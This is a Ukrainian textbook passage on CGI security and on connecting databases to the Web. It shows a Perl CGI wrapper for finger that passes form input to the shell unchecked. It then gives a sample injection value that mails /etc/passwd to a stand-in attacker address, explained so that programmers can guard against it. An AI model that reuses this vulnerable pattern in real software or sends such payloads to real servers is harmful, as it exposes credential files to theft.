Лістинг 2.2. CGI-интерфейс до команди finger.
#!/usr/bin/perl -w
use CGI;
my $output = new CGI;
my $username = $output->param('username');
print $output->header, $output->start_html('Finger Output'), "<pre>", `finger $username`, "</pre>" $output->end_html;
Якщо запустити програму просто як finger.cgi, вона виведе список всіх поточних користувачів на сервері. Якщо запустити її як finger.cgi?username=fred, то вона виведе інформацію про користувача «fred» на сервері. Можна навіть запустити її як finger. cgi?username=bob@foo.com для виведення інформації про віддаленого користувача. Проте якщо запустити її як finger.cgi?username=fred;mail hacker@bar.com</etc/passwd, можуть статися небажані речі. Оператор зворотний штрих «`` » у Perl породжує процес оболонки і виконує команду, що повертає результат. У даній програмі "Finger $username" використовується як простий спосіб виконати команду finger і отримати її результат. Проте більшість командних процесорів дозволяють об'єднувати в одному рядку декілька команд. Наприклад, будь-який процесор, подібний до процесора Борна, робить це за допомогою символу «;». Тому `finger fred;mail hacker@bar.com</ etc/ passwd` запустить спочатку команду finger, а потім команду mail hacker@bar.com</etc/passwd, яка може послати цілком файл паролів сервера небажаному користувачеві.
Одне з рішень полягає в синтаксичному аналізі тих даних, що поступили від форми з метою пошуку зловмисного вмісту. Можна, скажімо, шукати символ «;» і видаляти всі наступні за ним символи. Можна зробити таку атаку неможливою, використовуючи альтернативні методи.
Інше важливе міркування, що стосується безпеки, пов'язане з правами користувача. За замовчуванням веб-сервер запускає програму CGI з правами того користувача, який запустив сам сервер. Звичайно це псевдокористувач, такий як «nobody», що має обмежені права, тому в CGI-програми теж мало прав. Звичайно це добре, бо, якщо зловмисник зможе дістати доступ до сервера через CGI-программу, йому не удасться заподіяти багато шкоди. Приклад програми, що краде паролі, показує, що можна зробити, але фактичний збиток для системи, як правило, обмежений.
Проте робота користувачем з обмеженими правами обмежує і можливості CGI. Якщо програмі CGI потрібно читати або записувати файли, вона може робити це лише там, де у неї є такий дозвіл. CGI-програма повинна мати дозвіл на читання і запис в потрібному їй каталозі, не говорячи вже про самі файли. Це можна зробити, створивши каталог як того ж користувача, що і сервер, з правами читання і запису лише для цього користувача. Проте для такого користувача, як «nobody», лише root має подібну можливість. Якщо ви не суперкористувач, то вам доведеться спілкуватися з адміністратором системи при кожній зміні в CGI.
Інший спосіб - зробити каталог вільним для читання і запису, фактично знявши з нього всякий захист. Оскільки із зовнішнього світу получить доступ до цих файлів можна лише через вашу програму, небезпека не так велика, як може здатися. Проте якщо в програмі виявиться діра, віддалений користувач дістане повний доступ до всіх файлів, у тому числі можливість знищити їх. Крім того, законні користувачі, що працюють на сервері, також дістануть можливість змінювати ці файли. Якщо ви збираєтеся скористатися цим методом, то всі користувачі сервера повинні заслуговувати довіри. Крім того, використовуйте відкритий каталог лише для файлів, які необхідні CGI-програмі; іншими словами, не піддайте ризику зайві файли.
Що ще можна почитати. «CGI Programming on the World Wide Web» видавництва O'Reilly and Associates охоплює матеріал від простих сценаріїв на різних мовах до дійсно вражаючих трюків і хитрощів. Загальнодоступна інформація є також удосталь в WWW. Непогано почати з CGI Made Really Easy (Дійсно просто про CGI) за адресою http://www.jmarshall.com/easy/cgi/.
CGI і бази даних
З початку епохи Інтернет бази даних взаємодіяли з розробкою World Wide Web. На практиці багато хто розглядає Web просто як одну гігантську базу даних мультимедійної інформації.
Пошукові машини дають повсякденний приклад переваг баз даних. Пошукова машина не вирушає бродити по всьому Інтернету у пошуках ключових слів в той момент, коли ви їх запитали. Замість цього розробники сайту за допомогою інших програм створюють гігантський вказівник, який служить базою даних, звідки пошуковий механизм витягує записи. Бази даних зберігають інформацію у такому вигляді, який допускає швидку вибірку з довільним доступом.
Завдяки своїй мінливості бази даних додають Web ще більшу силу: вони перетворюють її на потенційний інтерфейс для чого завгодно. Наприклад, системне адміністрування можна проводити видалено через веб-сервер-інтерфейс замість вимоги реєстрації адміністратора в потрібній системі. Підключення баз даних до Web лежить в основі нового рівня інтерактивності в Інтернет.
Одна з причин підключення баз даних до Web регулярно дає про себе знати: значна частина світової інформації вже знаходиться в базах даних. Бази даних, що існували до виникнення Web, називаються успадкованими (legacy) базами даних (в протилежність непідключеним до Web базам даних, створеним в недавній час і які слід назвати «поганою ідеєю»). Багато корпорацій (і навіть приватні особи) стоять зараз перед завданням забезпечення доступу до цих успадкованих баз даних через Web.
Як сказано вище, лише ваша уява може обмежити можливості зв'язку між базами даних і Web. В даний час існують тисячі унікальних і корисних баз даних, що мають доступ з Web. Типи баз даних, що діють за межами цих застосувань, вельми різні. Деякі з них використовують CGI-програми як інтерфейс з сервером баз даних, таким як MYSQL або використовують комерційні застосування для взаємодії з популярними настільними базами даних, такими як Microsoft Access. А інші просто працюють з плоскими текстовими файлами, найпростішими базами даних, що є, зі всіх можливих.
За допомогою цих трьох типів баз даних можна розробляти корисні веб-сайти будь-якого розміру і міри складності.
Дата добавления: 2016-04-02; просмотров: 590;